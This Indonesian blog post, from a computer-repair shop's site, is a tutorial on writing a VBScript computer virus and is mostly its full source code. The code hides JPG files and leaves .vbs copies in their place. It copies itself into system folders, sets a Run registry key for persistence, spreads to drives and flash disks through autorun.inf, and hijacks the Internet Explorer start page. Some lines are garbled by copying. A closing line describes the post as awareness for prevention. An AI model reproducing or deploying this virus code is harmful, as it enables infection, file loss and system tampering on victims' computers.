---:::SIGMA KOMPUTER MITRA PROFESIONAL SOLUSI SERVICE KOMPUTER / LAPTOP ANDA HUB WA: 0812 9304 3286:::----

Sabtu, 25 Januari 2025

Cara Membuat Virus Komputer VB

 Cara Membuat Virus Komputer VB - Virus  komputer  merupakan  program  komputer  yang  dapat  menggandakan  atau

menyalin  dirinya  sendiri  dan  menyebar  dengan  cara  menyisipkan  salinan  dirinya  ke

dalam  program  atau  dokumen  lain.  Virus  komputer  dapat  dianalogikan  dengan  virus

biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk hidup.

Viruskomputer dapat merusak (misalnya dengan merusak data pada dokumen), membuat

pengguna komputer merasa terganggu, maupun tidak menimbulkan efek sama sekali.

 

Virus  yang  akan  kita  coba  buat  kali  ini  akan  dibuat  dengan  menggunakan  Visual

Basic Script. Terlebih dulu kira akan rencakan skenario kerja dari virus tersebut. Skenario

virus tersebut adalah sebagai berikut: 

1.        Virus akan mencari file-file .JPG pada folder dan subfolder satu tingkat didalamnya, setelah itu merubah ekstension file JPG tersebut menjadi JPEG dan merubah atributnya menjadi hidden file. Sehingga akan dikira file tersebut terhapus.  

2.       Meng-copy-kan dirinya (virus) dalam folder-folder tertentu dalam Window.

3.       Memodifikasi Registry agar secara otomatis menjalankan script virus pada saat restar.

4.       Menularkan diri pada drive-drive yang aktif termasuk flash diskMembuat halaman HTML tertentu agar dijalankan pada start page di Internet Explorer 


Nah, demikianlah skenario virus yang akan kita buat. Untuk lebih jelasnya kita akan

pelajari dari script dibawah ini:

 

1. Pada bagian ini akan dibuat sebuah prosedur untuk mencari file-fileJPG dan merubah-

nya sesuai dengan skenario diatas  




Sub serangan_jpg(target) 

on error resume next 

set ftarget=fso.GetFile(target) 

set fsource = fso.GetFile(Wscript.ScriptFullName) 

ftarget.Copy(Left(target,instrrev(target,".")) & "jpeg") 

set fbackup = fso.GetFile(Left(target,instrrev(target,".")) & "jpeg") 

fbackup.Attributes = 2 fsource.Copy(Left(target,instrrev(target,".")) & "jpg " & ".vbs") 

ftarget.Delete 

ftarget.Close 

fsource.Close 

End Sub

 

Sub carifilejpg(folder) 

For Each filetarget in fso.GetFolder(folder).Files 

If (Right(filetarget,3)="jpg") then  serangan_jpg(filetarget) 

Next 

End Sub

 

2. Prosedur dibawah ini berfungsi untuk mencari drive yang aktif termasuk media flash disk dan kemudian menularinya. 



Sub serangan_drive()

Set fso = CreateObject("Scripting.FileSystemObject")

Set Drives=fso.drives

adaflashdisk = False

For Each drive in Drives

If drive.isready Then 

fsource.Copy(drive & "" & "wolio.vbs")

If drive.DriveType = 1 And drive.DriveLetter > "C:" Then adaflashdisk = True

End If

Next

If adaflashdisk = True Then 

set fileautorun = fso.CreateTextFile(drive.DriveLetter & "" & "autorun.inf",False)

fileautorun.WriteLine("[AUTORUN]")

fileautorun.WriteLine("RUN=wolio.vbs")

End If

End Sub

 

3. Merubah Registry agar Start Page pada Internet Explorer menjalankan file HTML yang diinginkan 

 

Sub serangan_ie()

If (regedit.RegRead("HKEY_CURRENT_USER\SOFTWARE\MicrosoftInternet Explorer\Main\Start

Page")<>"c:\windows\system32\wolio.html") Then 

regedit.RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main\Start

Page","c:\windows\system32\wolio.html" 

End If

End Sub

 

4. Bagian ini digunakan untuk membuat sebuah file HTML yang akan menjalankan script virus

Sub buat_html()

set filehtml = fso.CreateTextFile("c:windowssystem32wolio.html",True)

filehtml.WriteLine("")

filehtml.WriteLine("")

")

filehtml.WriteLine("Welcome to Wolio")

filehtml.WriteLine("filehtml.WriteLine("")

filehtml.WriteLine("")

filehtml.WriteLine("")

filehtml.WriteLine("")

filehtml.WriteLine("")

filehtml.WriteLine("Selamat Datang di Wolio VBS ")

filehtml.WriteLine("")

filehtml.WriteLine("")

End Sub

 

5. Pada bagian ini akan mencari folder yang ada dan menulari-nya dengan script virus 

 

Sub serangan_folder(foldername)

on error resume next

For Each subfolder in fso.GetFolder(foldername).SubFolders

fsource.Copy(subfolder & "wolio.vbs") 

carifilejpg(subfolder)

next

End Sub

 

6. Bagian dibawah ini adalah bagian yang utama gunanya untuk mendeklarasikan

variabel dan memangggil semua prosedur

 

on error resume next

dim fso, fsource, ftarget, fbackup, scriptname, myfolder, subfolder, preview, filetarget, sys, regedit, drive,

filehtml, fileautorun

dim adaflashdisk 

set fso = CreateObject("Scripting.FileSystemObject")

set fsource = fso.GetFile(Wscript.ScriptFullName)

set regedit=CreateObject("WScript.Shell")

 

myfolder = Left(fsource,InStrRev(fsource,""))

' Copy-kan diri ke "c:windowssystem32"

 

fsource.Copy("c:windowssystem32wolio.vbs")

' Cari dan infeksi file JPG didalam folder 

carifilejpg(myfolder)

' Copy-kan diri di sub folder yang ada

serangan_folder(myfolder)

' Regitry

if

(regedit.RegRead("HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current\Version\Run\Wolio")<>"c:\win

dows\system32\wolio.vbs") Then 

regedit.RegWrite

"HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current\VersionRun\Wolio","c:\windows\system32\wolio.

vbs" 

End If

' Copy-kan diri ke semua drive aktif

serangan_drive()

' Buat file wolio.html

buat_html()

' Ubah Start Page di Internet Explorer 

serangan_ie()

 

 

Demikianlah  artikel  tentang  cara  pembuatan  dan  penuluran  sebuah  virus  yang

dibuat  dengan  VBS.  Setelah  mengetahui  teknik  penyebaran  suatu  virus  yang  dibuat

dengan  VBS,  maka  diharapkan  kepada  Anda  agar  dapat  melakukan  pencegahan.  Virus

yang  kita  pelajari  kali  ini  sebenarnya  hanya  virus  yang  "bodoh",  ini  hanya  membuka

wacana  Anda  terhadap  bahaya  dari  virus  yang  dibuat  dengan  VBS.  Semoga  artikel  ini

dapat bermanfaat.Source nya sudah saya share di Document "Belajar visual basic bahasa indonesia


 

Tidak ada komentar:

Posting Komentar